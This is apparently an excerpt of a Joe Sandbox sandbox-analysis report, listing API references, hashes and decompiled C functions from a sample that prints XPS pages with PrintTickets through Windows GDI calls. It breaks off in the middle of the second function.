GetLastError.KERNEL32 ref: 0114461B
GetLastError.KERNEL32 ref: 01144621
GetLastError.KERNEL32 ref: 01144627
GetLastError.KERNEL32 ref: 0114462D
GetLastError.KERNEL32 ref: 01144633
GetLastError.KERNEL32 ref: 01144639
GetLastError.KERNEL32 ref: 0114463F
GetLastError.KERNEL32 ref: 01144645
GetLastError.KERNEL32 ref: 0114464B
GetLastError.KERNEL32 ref: 01144651
GetLastError.KERNEL32 ref: 01144657
GetLastError.KERNEL32 ref: 0114465D
GetLastError.KERNEL32 ref: 01144663
GetLastError.KERNEL32 ref: 01144669
GetLastError.KERNEL32 ref: 0114466F
GetLastError.KERNEL32 ref: 01144675
GetLastError.KERNEL32 ref: 0114467B
GetLastError.KERNEL32 ref: 01144681
GetLastError.KERNEL32 ref: 01144687
GetLastError.KERNEL32 ref: 0114468D
GetLastError.KERNEL32 ref: 01144693
GetLastError.KERNEL32 ref: 01144699
GetLastError.KERNEL32 ref: 0114469F
GetLastError.KERNEL32 ref: 011446A5
GetLastError.KERNEL32 ref: 011446AB
GetLastError.KERNEL32 ref: 011446B1
GetLastError.KERNEL32 ref: 011446B7
GetLastError.KERNEL32 ref: 011446BD
GetLastError.KERNEL32 ref: 011446C3
GetLastError.KERNEL32 ref: 011446C9
GetLastError.KERNEL32 ref: 011446CF
GetLastError.KERNEL32 ref: 011446D5
GetLastError.KERNEL32 ref: 011446DB
GetLastError.KERNEL32 ref: 011446E1
GetLastError.KERNEL32 ref: 011446E7
GetLastError.KERNEL32 ref: 011446ED
GetLastError.KERNEL32 ref: 011446F3
GetLastError.KERNEL32 ref: 011446F9
GetLastError.KERNEL32 ref: 011446FF
GetLastError.KERNEL32 ref: 01144705
GetLastError.KERNEL32 ref: 0114470B
GetLastError.KERNEL32 ref: 01144711
GetLastError.KERNEL32 ref: 01144717
GetLastError.KERNEL32 ref: 0114471D
GetLastError.KERNEL32 ref: 01144723
GetLastError.KERNEL32 ref: 01144729
GetLastError.KERNEL32 ref: 0114472F
GetLastError.KERNEL32 ref: 01144735
GetLastError.KERNEL32 ref: 0114473B
GetLastError.KERNEL32 ref: 01144741
GetLastError.KERNEL32 ref: 01144747
GetLastError.KERNEL32 ref: 0114474D
GetLastError.KERNEL32 ref: 01144753
GetLastError.KERNEL32 ref: 01144759
GetLastError.KERNEL32 ref: 0114475F
GetLastError.KERNEL32 ref: 01144765
GetLastError.KERNEL32 ref: 0114476B
GetLastError.KERNEL32 ref: 01144771
GetLastError.KERNEL32 ref: 01144777
GetLastError.KERNEL32 ref: 0114477D
GetLastError.KERNEL32 ref: 01144783
GetLastError.KERNEL32 ref: 01144789
GetLastError.KERNEL32 ref: 0114478F
GetLastError.KERNEL32 ref: 01144795
GetLastError.KERNEL32 ref: 0114479B
GetLastError.KERNEL32 ref: 011447A1
GetLastError.KERNEL32 ref: 011447A7
GetLastError.KERNEL32 ref: 011447AD
GetLastError.KERNEL32 ref: 011447B3
GetLastError.KERNEL32 ref: 011447B9
GetLastError.KERNEL32 ref: 011447BF
GetLastError.KERNEL32 ref: 011447C5
GetLastError.KERNEL32 ref: 011447CB
GetLastError.KERNEL32 ref: 011447D1
GetLastError.KERNEL32 ref: 011447D7
GetLastError.KERNEL32 ref: 011447DD
GetLastError.KERNEL32 ref: 011447E3
GetLastError.KERNEL32 ref: 011447E9
GetLastError.KERNEL32 ref: 01144829
GetLastError.KERNEL32 ref: 0114482F
GetLastError.KERNEL32 ref: 01144835
GetLastError.KERNEL32 ref: 0114483B
GetLastError.KERNEL32 ref: 01144841
GetLastError.KERNEL32 ref: 01144847
GetLastError.KERNEL32 ref: 0114484D
GetLastError.KERNEL32 ref: 01144853
GetLastError.KERNEL32 ref: 01144859
GetLastError.KERNEL32 ref: 0114485F
GetLastError.KERNEL32 ref: 01144865
GetLastError.KERNEL32 ref: 0114486B
GetLastError.KERNEL32 ref: 01144871
GetLastError.KERNEL32 ref: 01144877
GetLastError.KERNEL32 ref: 0114487D
GetLastError.KERNEL32 ref: 01144883
GetLastError.KERNEL32 ref: 01144889
GetLastError.KERNEL32 ref: 0114488F
GetLastError.KERNEL32 ref: 01144895
GetLastError.KERNEL32 ref: 0114489B
GetLastError.KERNEL32 ref: 011448A1
GetLastError.KERNEL32 ref: 011448A7
GetLastError.KERNEL32 ref: 011448AD
GetLastError.KERNEL32 ref: 011448B3
GetLastError.KERNEL32 ref: 011448B9
GetLastError.KERNEL32 ref: 011448BF
GetLastError.KERNEL32 ref: 011448C5
GetLastError.KERNEL32 ref: 011448CB
GetLastError.KERNEL32 ref: 011448D1
GetLastError.KERNEL32 ref: 011448D7
GetLastError.KERNEL32 ref: 011448DD
GetLastError.KERNEL32 ref: 011448E3
GetLastError.KERNEL32 ref: 011448E9
GetLastError.KERNEL32 ref: 011448EF
GetLastError.KERNEL32 ref: 011448F5
GetLastError.KERNEL32 ref: 011448FB
GetLastError.KERNEL32 ref: 01144901
GetLastError.KERNEL32 ref: 01144907
GetLastError.KERNEL32 ref: 0114490D
GetLastError.KERNEL32 ref: 01144913
GetLastError.KERNEL32 ref: 01144919
GetLastError.KERNEL32 ref: 0114491F
GetLastError.KERNEL32 ref: 01144925
GetLastError.KERNEL32 ref: 0114492B
GetLastError.KERNEL32 ref: 01144931
GetLastError.KERNEL32 ref: 01144937
GetLastError.KERNEL32 ref: 0114493D
GetLastError.KERNEL32 ref: 01144943
GetLastError.KERNEL32 ref: 01144949
GetLastError.KERNEL32 ref: 0114494F
GetLastError.KERNEL32 ref: 01144955
GetLastError.KERNEL32 ref: 0114495B
GetLastError.KERNEL32 ref: 01144961
GetLastError.KERNEL32 ref: 01144967
GetLastError.KERNEL32 ref: 0114496D
GetLastError.KERNEL32 ref: 01144973
GetLastError.KERNEL32 ref: 01144979
GetLastError.KERNEL32 ref: 0114497F
GetLastError.KERNEL32 ref: 01144985
GetLastError.KERNEL32 ref: 0114498B
GetLastError.KERNEL32 ref: 01144991
GetLastError.KERNEL32 ref: 01144997
GetLastError.KERNEL32 ref: 0114499D
GetLastError.KERNEL32 ref: 011449A3
GetLastError.KERNEL32 ref: 011449A9
GetLastError.KERNEL32 ref: 011449AF
GetLastError.KERNEL32 ref: 011449B5
GetLastError.KERNEL32 ref: 011449BB
GetLastError.KERNEL32 ref: 011449C1
GetLastError.KERNEL32 ref: 011449C7
GetLastError.KERNEL32 ref: 011449CD
GetLastError.KERNEL32 ref: 011449D3
GetLastError.KERNEL32 ref: 011449D9
GetLastError.KERNEL32 ref: 011449DF
GetLastError.KERNEL32 ref: 011449E5
GetLastError.KERNEL32 ref: 011449EB
GetLastError.KERNEL32 ref: 011449F1
GetLastError.KERNEL32 ref: 011449F7
GetLastError.KERNEL32 ref: 011449FD
GetLastError.KERNEL32 ref: 01144A03
GetLastError.KERNEL32 ref: 01144A09
GetLastError.KERNEL32 ref: 01144A0F
GetLastError.KERNEL32 ref: 01144A15
GetLastError.KERNEL32 ref: 01144A1B
GetLastError.KERNEL32 ref: 01144A21
GetLastError.KERNEL32 ref: 01144A27
GetLastError.KERNEL32 ref: 01144A2D
GetLastError.KERNEL32 ref: 01144A33
GetLastError.KERNEL32 ref: 01144A39
GetLastError.KERNEL32 ref: 01144A3F
GetLastError.KERNEL32 ref: 01144A45
GetLastError.KERNEL32 ref: 01144A4B
GetLastError.KERNEL32 ref: 01144A51
GetLastError.KERNEL32 ref: 01144A57
GetLastError.KERNEL32 ref: 01144A5D
GetLastError.KERNEL32 ref: 01144A63
GetLastError.KERNEL32 ref: 01144A69
GetLastError.KERNEL32 ref: 01144A6F
GetLastError.KERNEL32 ref: 01144A75
GetLastError.KERNEL32 ref: 01144A7B
GetLastError.KERNEL32 ref: 01144A81
GetLastError.KERNEL32 ref: 01144A87
GetLastError.KERNEL32 ref: 01144A8D
GetLastError.KERNEL32 ref: 01144A93
GetLastError.KERNEL32 ref: 01144A99
GetLastError.KERNEL32 ref: 01144A9F
GetLastError.KERNEL32 ref: 01144AA5
GetLastError.KERNEL32 ref: 01144AAB
GetLastError.KERNEL32 ref: 01144AB1
GetLastError.KERNEL32 ref: 01144AB7
GetLastError.KERNEL32 ref: 01144ABD
GetLastError.KERNEL32 ref: 01144AC3
GetLastError.KERNEL32 ref: 01144AC9
GetLastError.KERNEL32 ref: 01144ACF
GetLastError.KERNEL32 ref: 01144AD5
GetLastError.KERNEL32 ref: 01144ADB
GetLastError.KERNEL32 ref: 01144AE1
GetLastError.KERNEL32 ref: 01144AE7
GetLastError.KERNEL32 ref: 01144AED
GetLastError.KERNEL32 ref: 01144AF3
GetLastError.KERNEL32 ref: 01144AF9
GetLastError.KERNEL32 ref: 01144AFF
GetLastError.KERNEL32 ref: 01144B05
GetLastError.KERNEL32 ref: 01144B0B
GetLastError.KERNEL32 ref: 01144B11
GetLastError.KERNEL32 ref: 01144B17
GetLastError.KERNEL32 ref: 01144B1D
GetLastError.KERNEL32 ref: 01144B23
GetLastError.KERNEL32 ref: 01144B29
GetLastError.KERNEL32 ref: 01144B2F
GetLastError.KERNEL32 ref: 01144B35
GetLastError.KERNEL32 ref: 01144B3B
GetLastError.KERNEL32 ref: 01144B41
GetLastError.KERNEL32 ref: 01144B47
GetLastError.KERNEL32 ref: 01144B4D
GetLastError.KERNEL32 ref: 01144B53
GetLastError.KERNEL32 ref: 01144B59
GetLastError.KERNEL32 ref: 01144B5F
GetLastError.KERNEL32 ref: 01144B65
GetLastError.KERNEL32 ref: 01144B6B
GetLastError.KERNEL32 ref: 01144B71
GetLastError.KERNEL32 ref: 01144B77
GetLastError.KERNEL32 ref: 01144B7D
GetLastError.KERNEL32 ref: 01144B83
GetLastError.KERNEL32 ref: 01144B89
GetLastError.KERNEL32 ref: 01144B8F
GetLastError.KERNEL32 ref: 01144B95
GetLastError.KERNEL32 ref: 01144B9B
GetLastError.KERNEL32 ref: 01144BA1
GetLastError.KERNEL32 ref: 01144BA7
GetLastError.KERNEL32 ref: 01144BAD
GetLastError.KERNEL32 ref: 01144BB3
GetLastError.KERNEL32 ref: 01144BB9
GetLastError.KERNEL32 ref: 01144BBF
GetLastError.KERNEL32 ref: 01144BC5
GetLastError.KERNEL32 ref: 01144BCB
GetLastError.KERNEL32 ref: 01144BD1
GetLastError.KERNEL32 ref: 01144BD7
GetLastError.KERNEL32 ref: 01144BDD

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 53c8504606898541b158163339e030cfd5508614c816ce3d5cc7ca3574442c5d
Instruction ID: 646b01d03a0b2822e8a98dec81ce72aa32c9a830e2fcc6aeb1fb95ba79049fa0
Opcode Fuzzy Hash: 53c8504606898541b158163339e030cfd5508614c816ce3d5cc7ca3574442c5d
Instruction Fuzzy Hash: 64311074D0415ADFCF09CF68C490AADBBB2FF95208F18C099D861A7356C734A666CF14

Uniqueness

Uniqueness Score: -1.00%

Function 01142680, Relevance: 45.8, APIs: 23, Strings: 3, Instructions: 292
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E01142680(void* __ebx, void* __edx) {
				void* __edi;
				void* __esi;
				signed int _t96;
				int _t106;
				int _t117;
				int _t119;
				int _t124;
				int _t129;
				int _t131;
				int _t135;
				int _t141;
				int _t144;
				int _t147;
				int _t152;
				int _t153;
				int _t155;
				int _t161;
				void* _t163;
				signed int _t168;
				signed int _t174;
				void* _t177;
				void* _t178;
				void* _t185;
				void* _t186;
				signed int _t189;
				void* _t190;
				void* _t191;
				void* _t200;

				_t176 = __edx;
				_t163 = __ebx;
				_t189 = _t190;
				_t191 = _t190 - 0xd8;
				_t96 =  *0x1169060; // 0x43153b94
				 *(_t189 - 4) = _t96 ^ _t189;
				_push(_t185);
				_push(_t177);
				 *(_t189 - 0xac) = 0;
				 *(_t189 - 0xb0) = 0;
				 *(_t189 - 0xb4) = 0;
				 *(_t189 - 0xbc) = 0;
				 *(_t189 - 0xc4) = 0;
				 *(_t189 - 0xb8) = 0;
				if( *(_t189 - 0xac) >= 0) {
					 *(_t189 - 0xb0) = CreateDCW(0,  *((intOrPtr*)(_t189 + 8)) + 8, 0, 0);
					if( *(_t189 - 0xb0) == 0) {
						 *(_t189 - 0xc0) = GetLastError();
						E01148840(_t176, 0x6c);
						_t200 = _t191 + 4;
						if( *(_t189 - 0xc0) == 0x709) {
							E01148840(_t176, 0x6a);
							_t200 = _t200 + 4;
						}
						_t164 =  *(_t189 - 0xc0);
						_push( *(_t189 - 0xc0));
						_t161 = E01141730( *(_t189 - 0xc0));
						_t191 = _t200 + 4;
						 *(_t189 - 0xac) = _t161;
					}
				}
				_t204 =  *(_t189 - 0xac);
				if( *(_t189 - 0xac) >= 0) {
					_t176 =  *(_t189 - 0xb0);
					_push( *(_t189 - 0xb0));
					_t153 = E011412A0(_t163, _t177, _t185, _t204);
					_t191 = _t191 + 4;
					 *(_t189 - 0xac) = _t153;
					if( *(_t189 - 0xac) == 1) {
						E01148840(_t176, 0x6d);
						_push(0x32);
						_t155 = E01141730(_t164);
						_t191 = _t191 + 8;
						 *(_t189 - 0xac) = _t155;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					 *(_t189 - 0xd8) = 0x14;
					 *((intOrPtr*)(_t189 - 0xd4)) = L"Multiple PrintTickets Sample";
					 *(_t189 - 0xd0) = 0;
					 *(_t189 - 0xcc) = 0;
					 *(_t189 - 0xc8) = 0;
					_t164 =  *(_t189 - 0xb0);
					if(StartDocW( *(_t189 - 0xb0), _t189 - 0xd8) <= 0) {
						_push(GetLastError());
						_t152 = E01141730(_t164);
						_t191 = _t191 + 4;
						 *(_t189 - 0xac) = _t152;
					} else {
						 *(_t189 - 0xc4) = 1;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					_t176 =  *(_t189 - 0xb0);
					if(StartPage( *(_t189 - 0xb0)) <= 0) {
						_push(GetLastError());
						_t147 = E01141730(_t164);
						_t191 = _t191 + 4;
						 *(_t189 - 0xac) = _t147;
					} else {
						 *(_t189 - 0xb8) = 1;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					_push(_t189 - 0xbc);
					_t164 = _t189 - 0xb4;
					_push(_t189 - 0xb4);
					_t176 =  *(_t189 + 0x10);
					_push( *(_t189 + 0x10));
					_push( *((intOrPtr*)(_t189 + 0xc)));
					_push(0x18);
					_t144 = E01141360();
					_t191 = _t191 + 0x14;
					 *(_t189 - 0xac) = _t144;
				}
				if( *(_t189 - 0xac) >= 0) {
					_t164 =  *(_t189 - 0xb4);
					_t176 =  *(_t189 - 0xbc);
					if(ExtEscape( *(_t189 - 0xb0), 0x101a,  *(_t189 - 0xbc),  *(_t189 - 0xb4), 0, 0) <= 0) {
						E01148840(_t176, 0x6e);
						_push(GetLastError());
						_t141 = E01141730(_t164);
						_t191 = _t191 + 8;
						 *(_t189 - 0xac) = _t141;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					asm("pushad");
					asm("popad");
					_t174 = 0x14;
					memcpy(_t189 - 0xa8, L"First Page with User Default PrintTicket", _t174 << 2);
					asm("movsw");
					_t164 = _t189 - 0xa8;
					_t131 = E0114943A(_t189 - 0xa8);
					_t191 = _t191 + 0x10;
					_t176 = _t189 - 0xa8;
					if(TextOutW( *(_t189 - 0xb0), 0xc8, 0xc8, _t189 - 0xa8, _t131) == 0) {
						_push(GetLastError());
						_t135 = E01141730(_t164);
						_t191 = _t191 + 4;
						 *(_t189 - 0xac) = _t135;
					}
				}
				if( *(_t189 - 0xb8) != 0) {
					_t164 =  *(_t189 - 0xb0);
					if(EndPage( *(_t189 - 0xb0)) <= 0) {
						_push(GetLastError());
						_t129 = E01141730(_t164);
						_t191 = _t191 + 4;
						 *(_t189 - 0xac) = _t129;
					} else {
						 *(_t189 - 0xb8) = 0;
					}
				}
				if( *(_t189 - 0xb4) != 0) {
					if( *(_t189 - 0xb4) != 0) {
						_t176 =  *(_t189 - 0xb4);
						LocalFree( *(_t189 - 0xb4));
					}
					 *(_t189 - 0xb4) = 0;
				}
				if( *(_t189 - 0xac) >= 0) {
					if(StartPage( *(_t189 - 0xb0)) <= 0) {
						_push(GetLastError());
						_t124 = E01141730(_t164);
						_t191 = _t191 + 4;
						 *(_t189 - 0xac) = _t124;
					} else {
						 *(_t189 - 0xb8) = 1;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					_push(_t189 - 0xbc);
					_t176 = _t189 - 0xb4;
					_push(_t189 - 0xb4);
					_push( *((intOrPtr*)(_t189 + 0x18)));
					_push( *((intOrPtr*)(_t189 + 0x14)));
					_push(0x1a);
					_t119 = E01141360();
					_t191 = _t191 + 0x14;
					 *(_t189 - 0xac) = _t119;
				}
				if( *(_t189 - 0xac) >= 0) {
					_t176 =  *(_t189 - 0xb4);
					_t171 =  *(_t189 - 0xb0);
					if(ExtEscape( *(_t189 - 0xb0), 0x101a,  *(_t189 - 0xbc),  *(_t189 - 0xb4), 0, 0) <= 0) {
						E01148840(_t176, 0x6e);
						_push(GetLastError());
						_t117 = E01141730(_t171);
						_t191 = _t191 + 8;
						 *(_t189 - 0xac) = _t117;
					}
				}
				if( *(_t189 - 0xac) >= 0) {
					_t168 = 0x13;
					memcpy(_t189 - 0x54, L"Second Page with Modified Print Ticket", _t168 << 2);
					asm("movsw");
					_t176 = _t189 - 0x54;
					_t106 = E0114943A(_t189 - 0x54);
					_t170 =  *(_t189 - 0xb0);
					if(TextOutW( *(_t189 - 0xb0), 0xc8, 0xc8, _t189 - 0x54, _t106) == 0) {
						_push(GetLastError());
						 *(_t189 - 0xac) = E01141730(_t170);
					}
				}
				if( *(_t189 - 0xb8) != 0) {
					_t176 =  *(_t189 - 0xb0);
					EndPage( *(_t189 - 0xb0));
				}
				if( *(_t189 - 0xc4) != 0) {
					EndDoc( *(_t189 - 0xb0));
				}
				if( *(_t189 - 0xb0) != 0) {
					DeleteDC( *(_t189 - 0xb0));
					 *(_t189 - 0xb0) = 0;
				}
				if( *(_t189 - 0xb4) != 0) {
					if( *(_t189 - 0xb4) != 0) {
						_t176 =  *(_t189 - 0xb4);
						LocalFree( *(_t189 - 0xb4));
					}
					 *(_t189 - 0xb4) = 0;
				}
				_pop(_t178);
				_pop(_t186);
				return E0114942B(_t163,  *(_t189 - 4) ^ _t189, _t176, _t178, _t186);
			}

0x01142680
0x01142680
0x01142682
0x01142683
0x01142689
0x01142690
0x01142693
0x01142694
0x01142695
0x0114269f
0x011426a9
0x011426b3
0x011426bd
0x011426c7
0x011426d8
0x011426ed
0x011426fa
0x01142702
0x0114270a
0x0114270f
0x0114271c
0x01142720
0x01142725
0x01142725
0x01142728
0x0114272e
0x0114272f
0x01142734
0x01142737
0x01142737
0x011426fa
0x0114273d
0x01142744
0x01142746
0x0114274c
0x0114274d
0x01142752
0x01142755
0x01142762
0x01142766
0x0114276e
0x01142770
0x01142775
0x01142778
0x01142778
0x01142762
0x01142785
0x01142787
0x01142791
0x0114279b
0x011427a5
0x011427af
0x011427c0
0x011427cf
0x011427e3
0x011427e4
0x011427e9
0x011427ec
0x011427d1
0x011427d1
0x011427d1
0x011427cf
0x011427f9
0x011427fb
0x0114280a
0x0114281e
0x0114281f
0x01142824
0x01142827
0x0114280c
0x0114280c
0x0114280c
0x0114280a
0x01142834
0x0114283c
0x0114283d
0x01142843
0x01142844
0x01142847
0x0114284b
0x0114284c
0x0114284e
0x01142853
0x01142856
0x01142856
0x01142863
0x01142869
0x01142870
0x0114288b
0x0114288f
0x0114289d
0x0114289e
0x011428a3
0x011428a6
0x011428a6
0x0114288b
0x011428b3
0x011428b5
0x011428b6
0x011428b9
0x011428c5
0x011428c7
0x011428c9
0x011428d0
0x011428d5
0x011428d9
0x011428f9
0x01142901
0x01142902
0x01142907
0x0114290a
0x0114290a
0x011428f9
0x01142917
0x01142919
0x01142928
0x0114293c
0x0114293d
0x01142942
0x01142945
0x0114292a
0x0114292a
0x0114292a
0x01142928
0x01142952
0x0114295b
0x0114295d
0x01142964
0x01142964
0x0114296a
0x0114296a
0x0114297b
0x0114298c
0x011429a0
0x011429a1
0x011429a6
0x011429a9
0x0114298e
0x0114298e
0x0114298e
0x0114298c
0x011429b6
0x011429be
0x011429bf
0x011429c5
0x011429c9
0x011429cd
0x011429ce
0x011429d0
0x011429d5
0x011429d8
0x011429d8
0x011429e5
0x011429eb
0x011429fe
0x01142a0d
0x01142a11
0x01142a1f
0x01142a20
0x01142a25
0x01142a28
0x01142a28
0x01142a0d
0x01142a35
0x01142a3b
0x01142a44
0x01142a46
0x01142a48
0x01142a4c
0x01142a63
0x01142a72
0x01142a7a
0x01142a83
0x01142a83
0x01142a72
0x01142a90
0x01142a92
0x01142a99
0x01142a99
0x01142aa6
0x01142aaf
0x01142aaf
0x01142abc
0x01142ac5
0x01142acb
0x01142acb
0x01142adc
0x01142ae5
0x01142ae7
0x01142aee
0x01142aee
0x01142af4
0x01142af4
0x01142b04
0x01142b05
0x01142b13

APIs

CreateDCW.GDI32(00000000,-00000008,00000000,00000000), ref: 011426E7
GetLastError.KERNEL32 ref: 01142936
GetLastError.KERNEL32 ref: 0114299A
GetLastError.KERNEL32 ref: 011426FC

Part of subcall function 01148840: GetModuleHandleW.KERNEL32(00000000,01143E40,?,00000400), ref: 01148865
Part of subcall function 01148840: LoadStringW.USER32(00000000), ref: 0114886C

StartDocW.GDI32(00000000,00000014), ref: 011427C7
GetLastError.KERNEL32 ref: 011427DD
StartPage.GDI32(00000000), ref: 01142802
GetLastError.KERNEL32 ref: 01142818
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01142883
GetLastError.KERNEL32 ref: 01142897
TextOutW.GDI32(00000000,000000C8,000000C8,?,00000000), ref: 011428F1
GetLastError.KERNEL32 ref: 011428FB
EndPage.GDI32(00000000), ref: 01142920
LocalFree.KERNEL32(00000000), ref: 01142964
StartPage.GDI32(00000000), ref: 01142984
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01142A05
GetLastError.KERNEL32 ref: 01142A19
TextOutW.GDI32(00000000,000000C8,000000C8,?,00000000), ref: 01142A6A
GetLastError.KERNEL32 ref: 01142A74
EndPage.GDI32(00000000), ref: 01142A99
EndDoc.GDI32(00000000), ref: 01142AAF
DeleteDC.GDI32(00000000), ref: 01142AC5
LocalFree.KERNEL32(00000000), ref: 01142AEE

Strings

First Page with User Default PrintTicket, xrefs: 011428BA
Second Page with Modified Print Ticket, xrefs: 01142A3C
Multiple PrintTickets Sample, xrefs: 01142791

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ErrorLast$Page$Start$EscapeFreeLocalText$CreateDeleteHandleLoadModuleString
String ID: First Page with User Default PrintTicket$Multiple PrintTickets Sample$Second Page with Modified Print Ticket
API String ID: 3997207232-475045183
Opcode ID: ee6967d038feff31805783296be9bc49f704933bf3e2abcaa59e63938784645e
Instruction ID: ab8cf7978691d60ebf560d16275540e4aa2605af1be525aca8105044d45e88da
Opcode Fuzzy Hash: ee6967d038feff31805783296be9bc49f704933bf3e2abcaa59e63938784645e
Instruction Fuzzy Hash: 7BC123B5D00329DFEB38DF64EC09B9A77B5BB14709F0484E8E609A6180D7755AC4CF62

Uniqueness

Uniqueness Score: -1.00%

Function 01142CB0, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 239
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E01142CB0(void* __ebx, void* __eflags) {
				void* __edi;
				void* __esi;
				signed int _t90;
				int _t107;
				WCHAR* _t112;
				WCHAR* _t116;
				WCHAR* _t120;
				WCHAR* _t124;
				WCHAR* _t125;
				WCHAR* _t127;
				WCHAR* _t132;
				WCHAR* _t135;
				WCHAR* _t137;
				WCHAR* _t139;
				void* _t140;
				signed int _t145;
				short _t151;
				void* _t156;
				void* _t157;
				void* _t161;
				void* _t162;
				signed int _t164;
				void* _t165;
				void* _t167;
				void* _t172;

				_t140 = __ebx;
				_t164 = _t165;
				_t90 =  *0x1169060; // 0x43153b94
				 *(_t164 - 4) = _t90 ^ _t164;
				_push(_t161);
				_push(_t156);
				 *(_t164 - 0x278) = 0;
				 *(_t164 - 0x274) = 0;
				 *(_t164 - 0x280) = 0;
				 *(_t164 - 0x294) = 0;
				 *(_t164 - 0x27c) = 0;
				 *(_t164 - 0x284) = 0;
				 *(_t164 - 0x298) = 0;
				 *(_t164 - 0x270) = 0;
				E01149280(_t164 - 0x26c, 0, 0x204);
				_t167 = _t165 - 0x2ac + 0xc;
				 *(_t164 - 0x290) = 0;
				 *(_t164 - 0x28c) = 0;
				_push(L"Microsoft XPS Document Writer");
				_push(0x100);
				_t141 = _t164 - 0x268;
				_push(_t164 - 0x268);
				 *(_t164 - 0x274) = E01141E30(_t164 - 0x268);
				if( *(_t164 - 0x274) >= 0) {
					_t148 = _t164 - 0x27c;
					_push(_t164 - 0x27c);
					_push(_t164 - 0x270);
					_t139 = E01143110();
					_t167 = _t167 + 8;
					 *(_t164 - 0x274) = _t139;
				}
				if( *(_t164 - 0x274) >= 0) {
					_t141 = _t164 - 0x298;
					_t148 = _t164 - 0x284;
					_t137 = E011431C0( *(_t164 - 0x27c), _t164 - 0x284, _t164 - 0x298);
					_t167 = _t167 + 0xc;
					 *(_t164 - 0x274) = _t137;
				}
				if( *(_t164 - 0x274) >= 0) {
					_push(_t164 - 0x294);
					_t148 = _t164 - 0x280;
					_push(_t164 - 0x280);
					_push( *(_t164 - 0x298));
					_t141 =  *(_t164 - 0x284);
					_push( *(_t164 - 0x284));
					_push(0x18);
					_t135 = E01141360();
					_t167 = _t167 + 0x14;
					 *(_t164 - 0x274) = _t135;
				}
				if( *(_t164 - 0x274) < 0) {
					L11:
					_t180 =  *(_t164 - 0x274);
					if( *(_t164 - 0x274) >= 0) {
						_t141 =  *(_t164 - 0x278);
						_push( *(_t164 - 0x278));
						_t125 = E011412A0(_t140, _t156, _t161, _t180);
						_t167 = _t167 + 4;
						 *(_t164 - 0x274) = _t125;
						if( *(_t164 - 0x274) == 1) {
							E01148840(_t148, 0x6d);
							_push(0x32);
							_t127 = E01141730(_t141);
							_t167 = _t167 + 8;
							 *(_t164 - 0x274) = _t127;
						}
					}
					if( *(_t164 - 0x274) >= 0) {
						 *(_t164 - 0x2ac) = 0x14;
						 *((intOrPtr*)(_t164 - 0x2a8)) = L"Document with Single PrintTicket";
						 *(_t164 - 0x2a4) = 0;
						 *(_t164 - 0x2a0) = 0;
						 *(_t164 - 0x29c) = 0;
						if(StartDocW( *(_t164 - 0x278), _t164 - 0x2ac) <= 0) {
							_push(GetLastError());
							_t124 = E01141730(_t141);
							_t167 = _t167 + 4;
							 *(_t164 - 0x274) = _t124;
						} else {
							 *(_t164 - 0x28c) = 1;
						}
					}
					if( *(_t164 - 0x274) >= 0) {
						_t141 =  *(_t164 - 0x278);
						if(StartPage( *(_t164 - 0x278)) <= 0) {
							_push(GetLastError());
							_t120 = E01141730(_t141);
							_t167 = _t167 + 4;
							 *(_t164 - 0x274) = _t120;
						} else {
							 *(_t164 - 0x290) = 1;
						}
					}
					if( *(_t164 - 0x274) >= 0) {
						_t141 =  *(_t164 - 0x278);
						if(ExtEscape( *(_t164 - 0x278), 0x101a,  *(_t164 - 0x294),  *(_t164 - 0x280), 0, 0) <= 0) {
							_push(GetLastError());
							_t116 = E01141730(_t141);
							_t167 = _t167 + 4;
							 *(_t164 - 0x274) = _t116;
						}
					}
					if( *(_t164 - 0x274) >= 0) {
						_t145 = 0x19;
						memcpy(_t164 - 0x68, L"This page is associated with default Print Ticket", _t145 << 2);
						_t107 = E0114943A(_t164 - 0x68);
						_t167 = _t167 + 0x10;
						_t141 =  *(_t164 - 0x278);
						if(TextOutW( *(_t164 - 0x278), 0xc8, 0xc8, _t164 - 0x68, _t107) == 0) {
							_push(GetLastError());
							_t112 = E01141730(_t141);
							_t167 = _t167 + 4;
							 *(_t164 - 0x274) = _t112;
						}
					}
					if( *(_t164 - 0x290) != 0) {
						EndPage( *(_t164 - 0x278));
					}
					if( *(_t164 - 0x28c) != 0) {
						EndDoc( *(_t164 - 0x278));
					}
					if( *(_t164 - 0x278) != 0) {
						_t141 =  *(_t164 - 0x278);
						DeleteDC( *(_t164 - 0x278));
						 *(_t164 - 0x278) = 0;
					}
					__imp__CoTaskMemFree( *(_t164 - 0x284));
					 *(_t164 - 0x284) = 0;
					if( *(_t164 - 0x280) != 0) {
						if( *(_t164 - 0x280) != 0) {
							LocalFree( *(_t164 - 0x280));
						}
						 *(_t164 - 0x280) = 0;
					}
					if( *(_t164 - 0x27c) != 0) {
						_t151 =  *( *(_t164 - 0x27c));
						_t141 =  *(_t151 + 8);
						 *( *(_t151 + 8))( *(_t164 - 0x27c));
						 *(_t164 - 0x27c) = 0;
					}
					_push(_t164 - 0x270);
